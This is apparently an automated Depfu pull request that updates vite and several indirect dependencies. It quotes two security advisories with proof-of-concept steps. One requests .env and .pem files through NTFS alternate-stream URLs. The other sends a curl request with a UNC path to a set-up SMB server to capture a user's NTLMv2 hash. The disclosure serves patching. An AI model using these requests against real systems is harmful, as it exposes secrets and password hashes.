🚨 [security] Update vite 8.0.5 → 8.2.2 (minor)

[depfu]

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ vite (8.0.5 → 8.2.2) · Repo · Changelog

Security Advisories 🚨

🚨 vite: `server.fs.deny` bypass on Windows alternate paths

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• either of:
  • the sensitive file exists in an NTFS volume
  • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

• /.env::$DATA?raw returns the contents of .env
• /tls.pem::$DATA?raw returns the contents of tls.pem

🚨 launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

• using Windows
• NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
• the user accesses the attackers website that sends request to a middleware using launch-editor
• the server that has the middleware using launch-editor is running
• the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ lightningcss (indirect, 1.32.0 → 1.33.0) · Repo

Release Notes

1.33.0

Added

• Add support for ::highlight by @lucasweng in #970
• Add support for @position-try at-rule by @mattcosta7 in #1238
  #851
• Add support for ::search-text and :current::search-text (#1212) by @lucinadin in #1213
• Collapse light-dark(x, x) to x by @cscnk52 in #1183
• Supports :target-before/after/current pseudo-class by @yisibl in #1185
• Support for the alpha() relative color function by @yisibl in #1266

Fixed

• Print unknown at-rules in the same location by @RobinMalfait in #1233
• Fix #rrggbbaa support on older versions of android by @fkeiler in #1198
• Replace atty with std::io::IsTerminal by @fkeiler in #1197
• Bump dependencies (cssparser, const-str) by @noahbald in #1200
• Fix minification of negative scientific notation dimensions by @ssssota in #1192
• Change serde attribute to be conditional for ResolveResult enum File variant by @FlorianDevP in #1251
• Add external to return type of resolve by @sapphi-red in #1261

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ lightningcss-darwin-arm64 (indirect, 1.32.0 → 1.33.0) · Repo

Release Notes

1.33.0

Added

• Add support for ::highlight by @lucasweng in #970
• Add support for @position-try at-rule by @mattcosta7 in #1238
  #851
• Add support for ::search-text and :current::search-text (#1212) by @lucinadin in #1213
• Collapse light-dark(x, x) to x by @cscnk52 in #1183
• Supports :target-before/after/current pseudo-class by @yisibl in #1185
• Support for the alpha() relative color function by @yisibl in #1266

Fixed

• Print unknown at-rules in the same location by @RobinMalfait in #1233
• Fix #rrggbbaa support on older versions of android by @fkeiler in #1198
• Replace atty with std::io::IsTerminal by @fkeiler in #1197
• Bump dependencies (cssparser, const-str) by @noahbald in #1200
• Fix minification of negative scientific notation dimensions by @ssssota in #1192
• Change serde attribute to be conditional for ResolveResult enum File variant by @FlorianDevP in #1251
• Add external to return type of resolve by @sapphi-red in #1261

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ lightningcss-darwin-x64 (indirect, 1.32.0 → 1.33.0) · Repo

Release Notes

1.33.0

Added

• Add support for ::highlight by @lucasweng in #970
• Add support for @position-try at-rule by @mattcosta7 in #1238
  #851
• Add support for ::search-text and :current::search-text (#1212) by @lucinadin in #1213
• Collapse light-dark(x, x) to x by @cscnk52 in #1183
• Supports :target-before/after/current pseudo-class by @yisibl in #1185
• Support for the alpha() relative color function by @yisibl in #1266

Fixed

• Print unknown at-rules in the same location by @RobinMalfait in #1233
• Fix #rrggbbaa support on older versions of android by @fkeiler in #1198
• Replace atty with std::io::IsTerminal by @fkeiler in #1197
• Bump dependencies (cssparser, const-str) by @noahbald in #1200
• Fix minification of negative scientific notation dimensions by @ssssota in #1192
• Change serde attribute to be conditional for ResolveResult enum File variant by @FlorianDevP in #1251
• Add external to return type of resolve by @sapphi-red in #1261

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ lightningcss-linux-arm64-gnu (indirect, 1.32.0 → 1.33.0) · Repo

Release Notes

1.33.0

Added

• Add support for ::highlight by @lucasweng in #970
• Add support for @position-try at-rule by @mattcosta7 in #1238
  #851
• Add support for ::search-text and :current::search-text (#1212) by @lucinadin in #1213
• Collapse light-dark(x, x) to x by @cscnk52 in #1183
• Supports :target-before/after/current pseudo-class by @yisibl in #1185
• Support for the alpha() relative color function by @yisibl in #1266

Fixed

• Print unknown at-rules in the same location by @RobinMalfait in #1233
• Fix #rrggbbaa support on older versions of android by @fkeiler in #1198
• Replace atty with std::io::IsTerminal by @fkeiler in #1197
• Bump dependencies (cssparser, const-str) by @noahbald in #1200
• Fix minification of negative scientific notation dimensions by @ssssota in #1192
• Change serde attribute to be conditional for ResolveResult enum File variant by @FlorianDevP in #1251
• Add external to return type of resolve by @sapphi-red in #1261

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ lightningcss-linux-arm64-musl (indirect, 1.32.0 → 1.33.0) · Repo

Release Notes

1.33.0

Added

• Add support for ::highlight by @lucasweng in #970
• Add support for @position-try at-rule by @mattcosta7 in #1238
  #851
• Add support for ::search-text and :current::search-text (#1212) by @lucinadin in #1213
• Collapse light-dark(x, x) to x by @cscnk52 in #1183
• Supports :target-before/after/current pseudo-class by @yisibl in #1185
• Support for the alpha() relative color function by @yisibl in #1266

Fixed

• Print unknown at-rules in the same location by @RobinMalfait in #1233
• Fix #rrggbbaa support on older versions of android by @fkeiler in #1198
• Replace atty with std::io::IsTerminal by @fkeiler in #1197
• Bump dependencies (cssparser, const-str) by @noahbald in #1200
• Fix minification of negative scientific notation dimensions by @ssssota in #1192
• Change serde attribute to be conditional for ResolveResult enum File variant by @FlorianDevP in #1251
• Add external to return type of resolve by @sapphi-red in #1261

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ lightningcss-linux-x64-gnu (indirect, 1.32.0 → 1.33.0) · Repo

Release Notes

1.33.0

Added

• Add support for ::highlight by @lucasweng in #970
• Add support for @position-try at-rule by @mattcosta7 in #1238
  #851
• Add support for ::search-text and :current::search-text (#1212) by @lucinadin in #1213
• Collapse light-dark(x, x) to x by @cscnk52 in #1183
• Supports :target-before/after/current pseudo-class by @yisibl in #1185
• Support for the alpha() relative color function by @yisibl in #1266

Fixed

• Print unknown at-rules in the same location by @RobinMalfait in #1233
• Fix #rrggbbaa support on older versions of android by @fkeiler in #1198
• Replace atty with std::io::IsTerminal by @fkeiler in #1197
• Bump dependencies (cssparser, const-str) by @noahbald in #1200
• Fix minification of negative scientific notation dimensions by @ssssota in #1192
• Change serde attribute to be conditional for ResolveResult enum File variant by @FlorianDevP in #1251
• Add external to return type of resolve by @sapphi-red in #1261

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ lightningcss-linux-x64-musl (indirect, 1.32.0 → 1.33.0) · Repo

Release Notes

1.33.0

Added

• Add support for ::highlight by @lucasweng in #970
• Add support for @position-try at-rule by @mattcosta7 in #1238
  #851
• Add support for ::search-text and :current::search-text (#1212) by @lucinadin in #1213
• Collapse light-dark(x, x) to x by @cscnk52 in #1183
• Supports :target-before/after/current pseudo-class by @yisibl in #1185
• Support for the alpha() relative color function by @yisibl in #1266

Fixed

• Print unknown at-rules in the same location by @RobinMalfait in #1233
• Fix #rrggbbaa support on older versions of android by @fkeiler in #1198
• Replace atty with std::io::IsTerminal by @fkeiler in #1197
• Bump dependencies (cssparser, const-str) by @noahbald in #1200
• Fix minification of negative scientific notation dimensions by @ssssota in #1192
• Change serde attribute to be conditional for ResolveResult enum File variant by @FlorianDevP in #1251
• Add external to return type of resolve by @sapphi-red in #1261

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ lightningcss-win32-x64-msvc (indirect, 1.32.0 → 1.33.0) · Repo

Release Notes

1.33.0

Added

• Add support for ::highlight by @lucasweng in #970
• Add support for @position-try at-rule by @mattcosta7 in #1238
  #851
• Add support for ::search-text and :current::search-text (#1212) by @lucinadin in #1213
• Collapse light-dark(x, x) to x by @cscnk52 in #1183
• Supports :target-before/after/current pseudo-class by @yisibl in #1185
• Support for the alpha() relative color function by @yisibl in #1266

Fixed

• Print unknown at-rules in the same location by @RobinMalfait in #1233
• Fix #rrggbbaa support on older versions of android by @fkeiler in #1198
• Replace atty with std::io::IsTerminal by @fkeiler in #1197
• Bump dependencies (cssparser, const-str) by @noahbald in #1200
• Fix minification of negative scientific notation dimensions by @ssssota in #1192
• Change serde attribute to be conditional for ResolveResult enum File variant by @FlorianDevP in #1251
• Add external to return type of resolve by @sapphi-red in #1261

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ rolldown (indirect, 1.0.0-rc.12 → 1.2.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ tinyglobby (indirect, 0.2.15 → 0.2.17) · Repo · Changelog

Release Notes

0.2.17

Changed

• Enabled staged publishing for stronger supply-chain security

Fixed

• Defaults when undefined is passed to any of the options by @chloeelim
• Drive-relative paths on Windows by @Andrej730
• FileSystemAdapter is now exported again

Consider sponsoring if you'd like to support the development of this project and the goal of reaching a lighter and faster ecosystem

0.2.16

Fixed

• Upgraded picomatch to 4.0.4, mitigating any potential exposure to CVE-2026-33671 and CVE-2026-33672

Changed

• Overhauled and optimized most internals by @Torathion
• Ignore patterns are no longer compiled twice by @webpro

Consider sponsoring if you'd like to support the development of this project and the goal of reaching a lighter and faster ecosystem

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 @​rolldown/binding-android-arm-eabi (added, 1.2.5)

🗑️ @​napi-rs/wasm-runtime (removed)

🗑️ @​rolldown/binding-wasm32-wasi (removed)

🗑️ @​tybys/wasm-util (removed)

🗑️ tslib (removed)

---

👉 No CI detected

You don't seem to have any Continuous Integration service set up!

Without a service that will test the Depfu branches and pull requests, we can't inform you if incoming updates actually work with your app. We think that this degrades the service we're trying to provide down to a point where it is more or less meaningless.

This is fine if you just want to give Depfu a quick try. If you want to really let Depfu help you keep your app up-to-date, we recommend setting up a CI system:

* [Circle CI](https://circleci.com), [Semaphore ](https://semaphoreci.com) and [Github Actions](https://docs.github.com/actions) are all excellent options. * If you use something like Jenkins, make sure that you're using the Github integration correctly so that it reports status data back to Github. * If you have already set up a CI for this repository, you might need to check your configuration. Make sure it will run on all new branches. If you don’t want it to run on every branch, you can whitelist branches starting with `depfu/`.

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)